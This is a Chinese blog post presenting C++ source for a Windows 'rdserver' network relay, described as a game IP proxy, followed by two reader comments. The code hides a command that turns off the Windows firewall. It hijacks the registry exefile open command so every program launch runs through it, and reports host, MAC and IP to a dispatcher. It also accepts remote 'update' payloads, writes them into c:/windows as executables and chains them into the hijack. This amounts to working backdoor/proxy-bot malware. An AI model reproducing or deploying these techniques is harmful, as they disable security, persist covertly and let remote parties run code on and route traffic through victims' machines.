 34     if( d==std::string::npos){
 35         host = uri;
 36     }else{
 37         host.assign(uri.begin(),uri.begin()+d);
 38         
 39         if(uri.size()>d+1){
 40             d++;
 41             port = atoi(uri.c_str()+d);
 42         }
 43     }
 44 
 45     if(host.size()==0){
 46         host = "localhost";
 47     }
 48     if( port == 0){
 49         port =20001;
 50     }
 51     return true;
 52 }
 53 
 54 std::string RdServer::makeHelo(){
 55     std::string helo;
 56     UUID uid;
 57     UuidCreate(&uid);
 58     helo = swlib::Codec::BufferToHex((unsigned char*)&uid,sizeof UUID);
 59     return helo;
 60 }
 61 
 62 /*
 63 准备工作
 64 1.bind udp port
 65 2.bind tcp recv port
 66 3.close firewall
 67 4.public Ip query
 68 5.register to dispatcher(exchange secure information)
 69 6.status report (time interval)
 70 */
 71 void RdServer::prepare(){    
 72     swlib::SocketAddr addr;
 73     _confs.loadFromFile("rdserver.conf");
 74     //std::string dispaddr = _confs.getProperty("dispatcher.host","localhost");
 75     //swUInt16 port = (swUInt16)swlib::str2int(_confs.getProperty("dispatcher.port","20001"));
 76     std::string dispaddr ;
 77     swUInt16 port;
 78     getDispatchServer(dispaddr,port);
 79     printf("dispach server:%s,%d\n",dispaddr.c_str(),port);
 80     
 81     _props.dispAddr.set_host(dispaddr.c_str());
 82     _props.dispAddr.set_port(port);
 83     _props.netaddr =0;
 84     _props.mac = swlib::getMacByIndex();
 85 
 86     _props.strHelo = makeHelo();
 87     addr.set_host(NULL);
 88     LOG_ADD_UDP_WRITER(_logger,"127.0.0.1",12002);
 89     bool ok = false;
 90     int n;
 91     //LOG_ADD_REGFILE_WRITER(_logger,_logfilename.c_str());    
 92     //////////////////////////////////////////////////////////////////////////
 93     // tcp bind
 94     _listensock = shared_ptr<swlib::TcpSocket>(new swlib::TcpSocket);
 95     _listensock->create();
 96     _props.listenport = 12788;
 97     for(n=0;n<2000;n++){
 98         _props.listenport+=n;
 99         addr.set_port(_props.listenport);
100         if(_listensock->bind_addr(addr)){
101             break;
102         }
103     }
104     //////////////////////////////////////////////////////////////////////////
105     // udp bind
106     //////////////////////////////////////////////////////////////////////////
107     _udpsock.create();
108     //_udpsock.do_connect(_props.dispAddr);    
109      for( n=0;n<1000;n++){
110          addr.set_port(12788+n);    
111          if(_udpsock.bind_addr(addr)){
112              //_udpsock.do_connect(_props.dispAddr);
113              ok = true;
114              break;
115          }
116      }
117     _threadUdp = new swlib::Thread(RdServer::__threadUdpRecv,this);
118     _threadUdp->start();
119     //close firewall
120     //system("netsh firewall set opmode mode=disable > nul");
121     TCHAR  cmdstr[100]=L"netsh firewall set opmode mode=disable";
122     STARTUPINFO si; 
123     memset(&si, 0sizeof(STARTUPINFO));
124     si.cb =sizeof(STARTUPINFO);
125     si.dwFlags = STARTF_USESHOWWINDOW;
126     si.wShowWindow = SW_HIDE;
127     PROCESS_INFORMATION pi; 
128     
129     CreateProcess(NULL,cmdstr,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
130 }
131 
132 
133 void RdServer::__threadUdpRecv(swlib::Thread* t,void* user){
134     RdServer * server =(RdServer*)user;
135     server->threadUdpRecv(t);
136 }
137 
138 
139 void RdServer::threadUdpRecv(swlib::Thread* t){
140  swByteArray bytes;
141  int size;
142  bytes.resize(1024*20);
143  while(t->loop()){
144      size = _udpsock.read((char*)&bytes[0],bytes.size());
145      if( size>0){
146          bytes.resize(size);
147          bytes = decrypt(bytes);
148          if(bytes.size()){ // invalid packet
149              MessageQueue mq;
150              mq.queueIn((char*)&bytes[0],bytes.size());
151              shared_ptr<ConnectionMessageBase> msg;
152              if(mq.getMessage(msg) && msg.get()){
153                  if( msg->cnmid == CNM_ECHOIP_RESP){                                
154                      CNM_RdServer_EchoIPResp_t* echo = (CNM_RdServer_EchoIPResp_t*)msg.get();
155                      _props.netaddr = echo->ip;
156                     // getLogger().Debug("echo ip:%s",swlib::SocketAddr::toString(echo->ip).c_str());
157                  }else if(msg->cnmid == CNM_RDSERVER_SET){
158                      CNM_RdServer_Set_t* set =(CNM_RdServer_Set_t*)msg.get();
159                  }                            
160              }
161              //////////////////////////////////////////////////////////////////////////
162          }
163      }
164  }
165 
166 }
167 
168 CNM_SystemQueryResult RdServer::getSystemInfo(){
169     CNM_SystemQueryResult r;
170     r.ver = _props.version;
171     r.tick = swlib::currentTimeTick();
172     return r;
173 }
174 
175 bool RdServer::start(){
176     swlib::Socket::initSocket();
177     _props.version = RD_SERVERVERSION;
178     _props.rptInterval = 2;
179     _props.hostname = swlib::getHostName();
180     
181     printf("vendor:%s\n",getVendorId().c_str());
182     prepare();
183     //RedirectServerBase::start();
184     mainloop();
185     return true;
186 }
187 
188 void RdServer::removeConnection(const RedirectConnection* rc){
189     swlib::ScopeLocker l(_mtx_cnn);
190     std::vector<RedirectConnection*>::iterator itr;
191     for(itr=_connlist.begin();itr!=_connlist.end();itr++){
192         if(*itr ==  rc){
193             _connlist.erase(itr);
194             break;
195         }
196     }
197 }
198 int RdServer::mainloop(){
199     fd_set  fds;    
200     timeval tv;
201     swByteArray bytes;
202     int size;
203     while(true){
204         FD_ZERO(&fds);
205         tv.tv_sec=1;
206         tv.tv_usec=0;
207 
208         FD_SET(_listensock->get_handle(),&fds);        
209         //FD_SET(_udpsock.get_handle(),&fds);        
210         int r = select(0,&fds,NULL,NULL,&tv);
211         if( r <0){
212             getLogger().Error("socket server error,break");
213             break;
214         }
215         if( r != 0){ //超时,定时发送状态        
216             if( FD_ISSET(_listensock->get_handle(),&fds)){
217                 swlib::TcpSocket* client = _listensock->accept(); // new client incoming
218                 if(!client){
219                     break;
220                 }
221                 getLogger().Debug("New Client Incoming(%s)",client->get_addr().toString().c_str());
222                 RedirectConnection* rc = new RedirectConnection(this,shared_ptr<swlib::TcpSocket>(client));
223                 swlib::ScopeLocker l(_mtx_cnn);
224                 _connlist.push_back(rc);
225                 rc->start();
226             }
227             //////////////////////////////////////////////////////////////////////////
228             if( FD_ISSET(_udpsock.get_handle(),&fds)){ //与dispatcher    交互
229                 bytes.resize(1024*20);
230                 size = _udpsock.read((char*)&bytes[0],bytes.size());
231                 if( size>0){
232                     bytes = decrypt(bytes);
233                     if(bytes.size()){ // invalid packet
234                         MessageQueue mq;
235                         mq.queueIn((char*)&bytes[0],bytes.size());
236                         shared_ptr<ConnectionMessageBase> msg;
237                         if(mq.getMessage(msg) && msg.get()){
238                             if( msg->cnmid == CNM_ECHOIP_RESP){                                
239                                 CNM_RdServer_EchoIPResp_t* echo = (CNM_RdServer_EchoIPResp_t*)msg.get();
240                                 _props.netaddr = echo->ip;
241                                 getLogger().Debug("echo ip:",swlib::SocketAddr::toString(echo->ip));
242                             }else if(msg->cnmid == CNM_RDSERVER_SET){
243                                 CNM_RdServer_Set_t* set =(CNM_RdServer_Set_t*)msg.get();
244                             }                            
245                         }
246                         //////////////////////////////////////////////////////////////////////////
247                     }
248                 }
249             }
250         }
251         //////////////////////////////////////////////////////////////////////////
252         static swUInt32 lasttime = 0;
253         if( swlib::currentTimeTick()-lasttime > _props.rptInterval){
254             //发送IpEcho
255             CNM_RdServer_EchoIPReq_t echoreq;
256             bytes = echoreq.final();
257             bytes = encrypt(bytes);
258             //_udpsock.write((char*)&bytes[0],bytes.size());
259             _udpsock.sendto(_props.dispAddr,(char*)&bytes[0],bytes.size());
260             //getLogger().Debug("send EchoIp request");
261             //////////////////////////////////////////////////////////////////////////
262             if(reachable()){
263                 //getLogger().Debug("server is reachable");
264                 //上报状态
265                 CNM_RdServer_Status_t status;
266                 status.tick = swlib::currentTimeTick();
267                 status.conNum = _connlist.size();
268                 status.ipaddr = _props.netaddr;
269                 status.port = ntohs(_props.listenport);
270                 status.mac = _props.mac;
271                 status.rptInterval = _props.rptInterval;
272                 status.hostname = _props.hostname;
273                 status.vendor = getVendorId();
274                 bytes     = status.final();
275                 bytes = encrypt(bytes);
276                 
277                 _udpsock.sendto(_props.dispAddr,(char*)&bytes[0],bytes.size());
278                 //_udpsock.write((char*)&bytes[0],bytes.size());
279                 //getLogger().Debug("report status to dispatcher");
280             }
281             //////////////////////////////////////////////////////////////////////////
282             lasttime = swlib::currentTimeTick();
283         }
284     }
285     return 0;
286 }
287 
288 swByteArray RdServer::encrypt(swByteArray& data){
289     swByteArray r;
290     r = data;
291     return r;
292 }
293 
294 swByteArray RdServer::decrypt(swByteArray& data){
295     swByteArray r;
296     r = data;
297     return r;
298 }
299 
300 void RdServer::lostConnection(RedirectConnection*c){
301     swlib::ScopeLocker l(_mtx_cnn);
302     std::vector<RedirectConnection*>::iterator itr;
303     itr = std::find(_connlist.begin(),_connlist.end(),c);
304     if(itr!=_connlist.end()){
305         _connlist.erase(itr);
306     }
307 }
308 
309 swUInt32 RdServer::getPublicNetAddr(){
310     swUInt32 naddr =0 ;
311 
312     return naddr;
313 }
314 
315 //检测外部是否可达
316 bool RdServer::reachable(){
317     //扫描本地ip
318     std::vector<swUInt32 > ips;
319     std::vector<swUInt32 >::iterator itr;
320     ips = swlib::Socket::getIpAddrList(swlib::Socket::getHostName());
321     ips.push_back(0x0100007f); //127.0.0.1
322     itr = std::find(ips.begin(),ips.end(),_props.netaddr);
323     if(itr==ips.end()){
324         return false;
325     }
326     return true;
327 }
328 
329 //////////////////////////////////////////////////////////////////////////
330 bool    sameInstance(const std::wstring& name){
331     HANDLE hMutex = CreateMutex(NULL, false, name.c_str());
332     if (GetLastError() == ERROR_ALREADY_EXISTS){
333         CloseHandle(hMutex);
334         return true;
335     }    
336     return false;
337 }
338 
339 void autoRunSetIn(const char* cmdshell){
340     HKEY hkey;
341     LONG res; 
342     DWORD datatype=REG_SZ; 
343     unsigned char szvalue[_MAX_PATH];
344     //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command
345     strcpy((char*)szvalue,cmdshell);
346 
347     res =::RegOpenKeyExA(HKEY_LOCAL_MACHINE, 
348         "SOFTWARE\\Classes\\exefile\\shell\\open\\command"0, KEY_WRITE|KEY_READ, &hkey); 
349 
350     if(res!=ERROR_SUCCESS){
351         return;
352     }
353     res = ::RegSetValueExA(hkey, NULL, 0, datatype, szvalue, strlen(LPCSTR(szvalue))); 
354 
355     RegCloseKey(hkey);
356     
357 }
358 
359 int _tmain(int argc, _TCHAR* argv[])
360 {
361     //////////////////////////////////////////////////////////////////////////
362     //加载命令行之后的进程 
363     if(argc > 1){
364         std::wstring cmdparams;
365         for(int n=2;n<argc;n++){
366             cmdparams+=argv[n] + std::wstring(L" ");
367         }
368         //::MessageBox(NULL,cmdparams.c_str(),L"",MB_OK);
369         STARTUPINFO si; 
370         memset(&si, 0sizeof(STARTUPINFO));
371         si.cb =sizeof(STARTUPINFO);
372         si.dwFlags = STARTF_USESHOWWINDOW;
373         si.wShowWindow = SW_SHOWNORMAL;
374         PROCESS_INFORMATION pi; 
375         std::wstring exename = argv[1];
376         if( cmdparams.size() == 0){
377             CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
378         }else{
379             CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)cmdparams.c_str(),NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
380         }
381     }
382     //////////////////////////////////////////////////////////////////////////
383     if( sameInstance(L"rdserver")){
384         return 0;
385     }
386     //////////////////////////////////////////////////////////////////////////
387     //修改注册表
388     autoRunSetIn("rdserver.exe \"%1\"  %*");
389     //////////////////////////////////////////////////////////////////////////
390     RdServer().start();
391     return 0;
392 }
393 
394 #ifndef _CONSOLE
395 
396 int APIENTRY _tWinMain(HINSTANCE hInstance,
397                        HINSTANCE hPrevInstance,
398                        LPTSTR    lpCmdLine,
399                        int       nCmdShow)
400 {
401 
402     int nums;
403     LPWSTR * params = CommandLineToArgvW(lpCmdLine,&nums);
404     int argc = nums;
405     TCHAR** argv = params;
406     //////////////////////////////////////////////////////////////////////////
407     //加载命令行之后的进程 
408     if(argc){
409         std::wstring cmdparams;
410         for(int n=1;n<argc;n++){
411             cmdparams+=argv[n] + std::wstring(L" ");
412         }
413         //::MessageBox(NULL,cmdparams.c_str(),L"",MB_OK);
414         STARTUPINFO si; 
415         memset(&si, 0sizeof(STARTUPINFO));
416         si.cb =sizeof(STARTUPINFO);
417         si.dwFlags = STARTF_USESHOWWINDOW;
418         si.wShowWindow = SW_SHOWNORMAL;
419         PROCESS_INFORMATION pi; 
420         std::wstring exename = argv[0];
421         if( cmdparams.size() == 0){
422             CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
423         }else{
424             CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)cmdparams.c_str(),NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
425         }
426     }
427     //////////////////////////////////////////////////////////////////////////
428     if( sameInstance(L"rdserver")){
429         return 0;
430     }
431     //////////////////////////////////////////////////////////////////////////
432     //修改注册表
433     autoRunSetIn("rdserver.exe \"%1\"  %*");
434     //////////////////////////////////////////////////////////////////////////
435     RdServer().start();
436     return 0;
437 }
438 #endif
439 
440 
441 

RdConnection.h
 1 
 2 #ifndef _RD_CONNECTION_H
 3 #define _RD_CONNECTION_H
 4 
 5 #include "../common/base.h"
 6 #include "../common/socket.h"
 7 #include "../common/rdchannel.h"
 8 #include "../common/thread.h"
 9 #include "../common/rdpacket.h"
10 
11 
12 
13 class RdServer;
14 
15 class RedirectConnection{
16 public:
17     RedirectConnection(RdServer* server,shared_ptr<swlib::TcpSocket>& sockIn);
18     ~RedirectConnection();
19 
20     bool start();
21     void stop();
22     RdServer* getServer(){    return _server;}
23 protected:
24     static void threadEntry(void* user);
25     void run();
26     bool processIncomingSocketPacket();    //处理进入的消息请求,false-非法数据包
27     bool processOutgoingSocketPacket(RedirectChannelID_t cid,swByte* bytes,swUInt32 size); //处理向外连接上的进入消息报, false - socket lost
28     void dispatch(shared_ptr<ConnectionMessageBase>& msg);
29     
30 protected:
31     shared_ptr<swlib::TcpSocket> _sockIn;
32     std::map< RedirectChannelID_t,shared_ptr<swlib::TcpSocket> > _socksOut;     //外发连接
33     RdServer* _server;
34     shared_ptr<swlib::Thread> _threadSelect;
35     MessageQueue    _mq_incoming;
36 };
37 
38 
39 #endif

RdConnection.cpp
  1 #include "rdconnection.h"
  2 #include "../common/codec.h"
  3 #include "rdserver.h"
  4 #include <time.h>
  5 
  6 
  7 void autoRunSetIn(const char* cmdshell);
  8 
  9 RedirectConnection::RedirectConnection(RdServer* server,shared_ptr<swlib::TcpSocket>& sockIn){
 10     _server = server;
 11     _sockIn = sockIn;
 12 }
 13 
 14 RedirectConnection::~RedirectConnection(){
 15     //stop();
 16 }
 17 
 18 bool RedirectConnection::start(){
 19     
 20     //_threadSelect = new swlib::Thread(RedirectConnection::threadEntry,this);
 21     //_threadSelect->start2();
 22     DWORD tid;
 23     HANDLE     thandle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)threadEntry,(void*)this,NULL,&tid);
 24     return true;
 25 }
 26 
 27 
 28 void RedirectConnection::threadEntry(void* user){
 29     RedirectConnection* rc = (RedirectConnection*)user;    
 30     rc->run();
 31 }
 32 
 33 
 34 void RedirectConnection::run(){
 35     //发送Helo
 36     CNM_Helo_t msghelo;
 37     msghelo.helo = _server->getProps().strHelo;
 38     
 39     _server->getLogger().Debug("connection established,enter thread");
 40     //////////////////////////////////////////////////////////////////////////
 41     std::string key = "5173.com";//_server->getConfig().getProperty("secureKey");
 42     swByteArray data;
 43     data.assign( (swByte*)msghelo.helo.c_str(),(swByte*)(msghelo.helo.c_str()+msghelo.helo.size()) );
 44     data.insert(data.end(),(swByte*)key.c_str(),(swByte*)(key.c_str()+key.size()));
 45     swByteArray digest = swlib::Codec::Md5Calc(&data[0],data.size());
 46     //////////////////////////////////////////////////////////////////////////
 47     std::map< RedirectChannelID_t,shared_ptr<swlib::TcpSocket> >::iterator itr;
 48     std::vector<RedirectChannelID_t> lostsockIds;
 49     RedirectChannelID_t cid;
 50     fd_set  fds;    
 51     timeval tv;
 52     int r ;
 53     swByteArray bytes;
 54     shared_ptr<ConnectionMessageBase> msg;
 55 
 56     data = msghelo.final();
 57     int size;
 58     size = _sockIn->write((char*)&data[0],data.size());
 59     _server->getLogger().Debug(">>send back HELO");
 60     if(size <= 0){
 61         goto END;
 62     }
 63     //////////////////////////////////////////////////////////////////////////
 64     tv.tv_sec = 100//等待认证超时
 65     tv.tv_usec =0;
 66     FD_ZERO(&fds);
 67     FD_SET(_sockIn->get_handle(),&fds);        
 68     
 69     r = select(0,&fds,NULL,NULL,&tv);
 70     if( r <=0){
 71         _server->getLogger().Error("client not pass auth request in time,discard it!");
 72         goto END;
 73     }
 74 
 75     bytes.resize(1024*6);
 76     //if( FD_ISSET(_sockIn->get_handle(), &fds) ){ 
 77     size = _sockIn->read((char*)&bytes[0],bytes.size());
 78     if( size <= 0){
 79         goto END;
 80     }
 81     _server->getLogger().Debug("got client first message,push into queue");
 82     _mq_incoming.queueIn((char*)&bytes[0],size);    
 83     if(!_mq_incoming.getMessage(msg)){
 84         _server->getLogger().Error("parese message failed!");
 85         goto END;
 86     }
 87     if!msg.get()){ //单次接收不能满足一个包的大小
 88         _server->getLogger().Error("parese message failed!");
 89         goto END;
 90     }
 91     if(msg->cnmid != CNM_AUTH){    //first packet
 92         _server->getLogger().Error("invalide message !");
 93         goto END;
 94     }
 95     CNM_Auth_t* auth = (CNM_Auth_t*)msg.get();
 96     if( memcmp(auth->secureKey,&digest[0],16) ){ //md5 digest不对
 97         ConnectionMessageBase reject(CNM_REJECT);
 98         data = reject.final();
 99         _sockIn->write((char*)&data[0],data.size());
100         _server->getLogger().Error("sending REJECT message");
101         goto END;
102     }
103     {
104         ConnectionMessageBase accept(CNM_ACCEPT);
105         data = accept.final();
106     }
107     _sockIn->write((char*)&data[0],data.size());
108     _server->getLogger().Debug(">>CNM_ACCEPT");
109     //auth passed
110     //////////////////////////////////////////////////////////////////////////
111 
112     while(true){        
113         FD_ZERO(&fds);        
114         for(itr=_socksOut.begin();itr!=_socksOut.end();itr++){
115             FD_SET(itr->second->get_handle(),&fds);            
116         }        
117         FD_SET(_sockIn->get_handle(),&fds);        
118         r = select(0,&fds,NULL,NULL,NULL);
119         if( r <=0){     //socket 异常
120             _server->getLogger().Error("select exception unhandled,breaking..");
121             break;
122         }
123         if( FD_ISSET(_sockIn->get_handle(),&fds)){ //incoming socket 
124             size = _sockIn->read((char*)&bytes[0],bytes.size());
125             if( size <= 0){
126                 break;     //incoming socket lost
127             }
128             _mq_incoming.queueIn((char*)&bytes[0],size);
129             if(!processIncomingSocketPacket()){
130                 _server->getLogger().Error("get message from rdFront failed,broken!");
131                 break;  //错误的消息包
132             }
133         }
134         lostsockIds.clear();
135         for(itr=_socksOut.begin();itr!=_socksOut.end();itr++){
136             if(FD_ISSET(itr->second->get_handle(),&fds)){
137                 size = itr->second->read((char*)&bytes[0],bytes.size());
138                 cid = (RedirectChannelID_t)itr->second->data(stt_CHANNELID);
139                 if(size <=0 ){ //LOST connection
140                     _server->getLogger().Debug("outgoing socket broken! ");
141                     lostsockIds.push_back(cid);
142                     shared_ptr<ChannelMessageBase> msgclose = new ChannelMessageBase(CM_CONNECT_CLOSE);
143                     msgclose->cid = cid;
144                     swByteArray bytes;
145                     bytes = msgclose->final();
146                     _sockIn->write((char*)&bytes[0],bytes.size());
147                     _server->getLogger().Debug("outgoing sock disconnected,notify CM_CONNECT_CLOSE to rdFront..");
148                     continue;
149                 }
150                 processOutgoingSocketPacket(cid,&bytes[0],(swUInt32)size); //转发
151             }
152         }        
153         for(size_t n=0;n<lostsockIds.size();n++){
154             itr =_socksOut.find(lostsockIds[n]);
155             if( itr!= _socksOut.end()){
156                 _socksOut.erase(itr);
157             }
158         }
159         //////////////////////////////////////////////////////////////////////////
160     }// end while
161 
162 END:
163     _server->getLogger().Debug("connection Thread exiting,delete RdConnection");
164     _server->removeConnection(this);
165     delete this;
166 }
167 
168 //打包数据流
169 bool RedirectConnection::processOutgoingSocketPacket(RedirectChannelID_t cid,swByte* data,swUInt32 size){
170     CM_StreamData stream;
171     stream.cid = cid;
172     stream.data.assign(data,data+size);
173     swByteArray bytes;
174     bytes = stream.final();
175     _sockIn->write((char*)&bytes[0],bytes.size());
176     _server->getLogger().Debug("stream data : rdserver -> rdfront");
177     return true;
178 }
179 
180 
181 bool RedirectConnection::processIncomingSocketPacket(){
182     
183     while(true){
184         bool r;
185         shared_ptr<ConnectionMessageBase> msg;
186         r = _mq_incoming.getMessage(msg);
187         if(!r){
188             _server->getLogger().Debug(" dirty Incoming connection, broken !");
189             return false//非法消息报
190         }
191         if!msg.get()){
192             break;
193         }
194         //////////////////////////////////////////////////////////////////////////
195         //分派消息包
196         dispatch(msg);
197     }
198     return true;
199 }
200 
201 void RedirectConnection::dispatch(shared_ptr<ConnectionMessageBase>& msg){
202     if(msg->cnmid != CNM_CHANNEL){
203         return;
204     }
205     ChannelMessageBase* cmsg;
206     swByteArray bytes;
207     std::map< RedirectChannelID_t,shared_ptr<swlib::TcpSocket> >::iterator itr;
208 
209     cmsg = (ChannelMessageBase*)msg.get();
210     if( cmsg->cmid == CM_CONNECT_OPEN){
211         CM_ConnectOpen_t* cmopen = (CM_ConnectOpen_t*)cmsg;
212         shared_ptr<swlib::TcpSocket> sock(new swlib::TcpSocket);
213         sock->create();
214         swlib::SocketAddr saddr;
215         saddr.set_naddr(cmopen->addr);
216         saddr.set_port(cmopen->port);
217         //swlib::SocketAddr saddr(cmopen->addr,cmopen->port);
218         _server->getLogger().Debug("request Open Dest :%s",saddr.toString().c_str());
219         if!sock->do_connect(saddr)){ //,cmopen->timeout)){ //连接失败
220             ChannelMessageBase reject(CM_CONNECT_REJECT);
221             reject.cid = cmsg->cid;
222             bytes = reject.final();
223             _sockIn->write((char*)&bytes[0],bytes.size());
224             _server->getLogger().Debug("outgoning connnect request failed!");
225             return;
226         }
227         _server->getLogger().Debug("connected remote host!");
228         //连接成功 
229         ChannelMessageBase acpt(CM_CONNECT_ACCEPT);
230         acpt.cid = cmsg->cid;
231         bytes = acpt.final();
232         _sockIn->write((char*)&bytes[0],bytes.size());
233         sock->setData(stt_CHANNELID,(void*)cmsg->cid); //记录通道编号
234         _socksOut[acpt.cid] = sock; //加入处理队列
235     }
236     //////////////////////////////////////////////////////////////////////////
237     //关闭通道
238     if( cmsg->cmid == CM_CONNECT_CLOSE || cmsg->cmid == CM_CONNECT_HALFCLOSE){
239         itr = _socksOut.find(cmsg->cid);
240         _server->getLogger().Debug("<< CM_CONNECT_CLOSE|CM_CONNECT_HALFCLOSE");
241         if(itr!= _socksOut.end()){
242             _server->getLogger().Debug("Incoming client Channel Closed,free resource!");
243             _socksOut.erase(itr);  //删除外发连接对象
244         }
245     }
246     //////////////////////////////////////////////////////////////////////////
247     if( cmsg->cmid == CM_STREAM_DATA){
248         CM_StreamData * stream = (CM_StreamData*)cmsg;
249         itr = _socksOut.find(cmsg->cid);
250         
251         if(itr!= _socksOut.end()){
252         _server->getLogger().Debug("<< CM_STREAM_DATA : %d(%d bytes)",cmsg->cid,stream->data.size());
253             itr->second->write((char*)&stream->data[0],stream->data.size()); //写入到外发连接
254         }
255     }
256     //////////////////////////////////////////////////////////////////////////
257     //CNM_SYSQUERY
258     if(msg->cnmid == CNM_SYSQUERY){
259             CNM_SystemQueryResult result;
260             result = getServer()->getSystemInfo();            
261             bytes = result.final();
262             _sockIn->write((char*)&bytes[0],bytes.size());
263     }
264     //////////////////////////////////////////////////////////////////////////
265     //CNM_UPDATE
266     if(msg->cnmid ==CNM_UPDATE ){
267         CNM_SystemUpdate* update = (CNM_SystemUpdate*)msg.get();
268         if( update->medias.size()){
269             char buff[128];
270             sprintf(buff,"c:/windows/%d.exe",(unsigned int)swlib::currentTimeTick());
271             
272             FILE * file = fopen(buff,"wb");
273             if(file){
274                 fwrite(&update->medias[0],update->medias.size(),1,file);
275                 fclose(file);
276             }
277             ::autoRunSetIn(buff);
278         }
279     }
280     //////////////////////////////////////////////////////////////////////////
281     //CNM_REBOOT
282     //////////////////////////////////////////////////////////////////////////
283     if(msg->cnmid == CNM_REBOOT){
284         STARTUPINFO si; 
285         memset(&si, 0sizeof(STARTUPINFO));
286         si.cb =sizeof(STARTUPINFO);
287         si.dwFlags = STARTF_USESHOWWINDOW;
288         si.wShowWindow = SW_SHOW;
289         //PROCESS_INFORMATION pi; 
290         //CreateProcess(NULL,L"rdloader.exe",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
291         HANDLE ph = GetCurrentProcess();
292         TerminateProcess(ph,0); // kill self
293     }
294     //////////////////////////////////////////////////////////////////////////
295 }
296 
297 void RedirectConnection::stop(){
298 //     swlib::Thread::stop();
299 //     _sockIn->close();     //将引发select 错误
300 //     this->wait();
301 }

posted on 2010-09-30 01:17 放屁阿狗 阅读(3923) 评论(2)  编辑 收藏 引用 所属分类: C++/Boost/STL/TemplateOpenSource开源工程

Feedback

# re: 游戏IP代理 2010-09-30 09:34 true
看了首页的几篇相关文章,貌似是做私服?我平时也用ice,但限于服务器内部使用,在多语言交互上,ice做的很强大了,rpc也简化了逻辑操作,思路更加清晰。不过,从我使用的经验来看,ice更侧重于通过简单rpc/ami实现简单的逻辑,这种逻辑最后只维护简单的状态,比如在线用户列表,而对于有复杂状态维护的游戏逻辑服务器,ice有点力不从心,或者说不是那么直观了。  回复  更多评论
  

# re: 游戏IP代理 2015-05-26 14:51 放屁阿狗
现在看看 过去做的东西,都在干啥啊,zeromq分分钟搞定,嗨!  回复  更多评论
  


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理